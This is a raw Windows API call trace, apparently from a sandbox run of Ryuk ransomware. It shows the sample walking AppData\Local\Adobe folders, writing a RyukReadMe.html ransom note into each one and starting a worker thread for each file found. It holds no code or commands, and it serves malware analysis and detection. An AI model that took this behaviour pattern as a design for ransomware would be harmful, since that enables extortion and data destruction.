	[0198.904] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*.*", lpFindFileData=0x111880 | out: lpFindFileData=0x111880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29e500
	[0198.905] FindNextFileW (in: hFindFile=0x29e500, lpFindFileData=0x111880 | out: lpFindFileData=0x111880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0198.905] FindNextFileW (in: hFindFile=0x29e500, lpFindFileData=0x111880 | out: lpFindFileData=0x111880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0198.905] SetLastError (dwErrCode=0x0) 
	[0198.905] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390
	[0198.906] GetLastError () returned 0x0
	[0198.906] WriteFile (in: hFile=0x390, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x1117c8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x1117c8*=0x273, lpOverlapped=0x0) returned 1
	[0198.909] CloseHandle (hObject=0x390) returned 1
	[0198.909] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*.*", lpFindFileData=0x111150 | out: lpFindFileData=0x111150*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29e980
	[0198.909] FindNextFileW (in: hFindFile=0x29e980, lpFindFileData=0x111150 | out: lpFindFileData=0x111150*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0198.909] FindNextFileW (in: hFindFile=0x29e980, lpFindFileData=0x111150 | out: lpFindFileData=0x111150*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0198.910] SetLastError (dwErrCode=0x0) 
	[0198.910] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0198.910] GetLastError () returned 0x0
	[0198.910] WriteFile (in: hFile=0x384, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x111098, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x111098*=0x273, lpOverlapped=0x0) returned 1
	[0198.913] CloseHandle (hObject=0x384) returned 1
	[0198.914] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*.*", lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eaa0
	[0198.914] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0199.205] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0199.205] SetLastError (dwErrCode=0x0) 
	[0199.205] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c
	[0199.205] GetLastError () returned 0x0
	[0199.206] WriteFile (in: hFile=0x27c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x110968, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x110968*=0x273, lpOverlapped=0x0) returned 1
	[0199.208] CloseHandle (hObject=0x27c) returned 1
	[0199.208] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ed40
	[0199.211] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0199.212] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0xb4, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1
	[0199.212] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0199.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138
	[0199.215] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.215] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0xb4, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1
	[0199.215] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0199.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388
	[0199.219] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.219] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb4, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0199.219] SetLastError (dwErrCode=0x0) 
	[0199.219] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b8
	[0199.220] GetLastError () returned 0x0
	[0199.220] WriteFile (in: hFile=0x3b8, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x110238, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x110238*=0x273, lpOverlapped=0x0) returned 1
	[0199.223] CloseHandle (hObject=0x3b8) returned 1
	[0199.224] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec80
	[0199.226] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0199.226] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0xbe, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1
	[0199.226] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0199.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc
	[0199.229] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.229] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0xbe, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 0
	[0199.230] FindClose (in: hFindFile=0x29ec80 | out: hFindFile=0x29ec80) returned 1
	[0199.230] SetLastError (dwErrCode=0x0) 
	[0199.230] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b8
	[0199.230] GetLastError () returned 0x0
	[0199.230] WriteFile (in: hFile=0x3b8, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x110238, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x110238*=0x273, lpOverlapped=0x0) returned 1
	[0199.233] CloseHandle (hObject=0x3b8) returned 1
	[0199.234] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0xb4, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1
	[0199.234] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0199.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8
	[0199.236] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.237] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0xb4, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1
	[0199.237] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0199.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8
	[0199.441] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.444] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0xb4, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0
	[0199.445] FindClose (in: hFindFile=0x29ed40 | out: hFindFile=0x29ed40) returned 1
	[0199.445] SetLastError (dwErrCode=0x0) 
	[0199.445] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c
	[0199.445] GetLastError () returned 0xb7
	[0199.445] CloseHandle (hObject=0x27c) returned 1
	[0199.475] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0
	[0199.475] FindClose (in: hFindFile=0x29eaa0 | out: hFindFile=0x29eaa0) returned 1
	[0199.476] SetLastError (dwErrCode=0x0) 
	[0199.476] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0199.476] GetLastError () returned 0xb7
	[0199.476] CloseHandle (hObject=0x384) returned 1
	[0199.476] FindNextFileW (in: hFindFile=0x29e980, lpFindFileData=0x111150 | out: lpFindFileData=0x111150*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0199.476] SetLastError (dwErrCode=0x0) 
	[0199.476] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0199.477] GetLastError () returned 0xb7
	[0199.477] CloseHandle (hObject=0x384) returned 1
	[0199.477] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*.*", lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eaa0
	[0199.478] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0199.478] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0xa4, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1
	[0199.478] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0199.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c
	[0199.486] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.487] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0199.487] SetLastError (dwErrCode=0x0) 
	[0199.487] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac
	[0199.487] GetLastError () returned 0x0
	[0199.487] WriteFile (in: hFile=0x3ac, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x110968, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x110968*=0x273, lpOverlapped=0x0) returned 1
	[0199.490] CloseHandle (hObject=0x3ac) returned 1
	[0199.490] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ed40
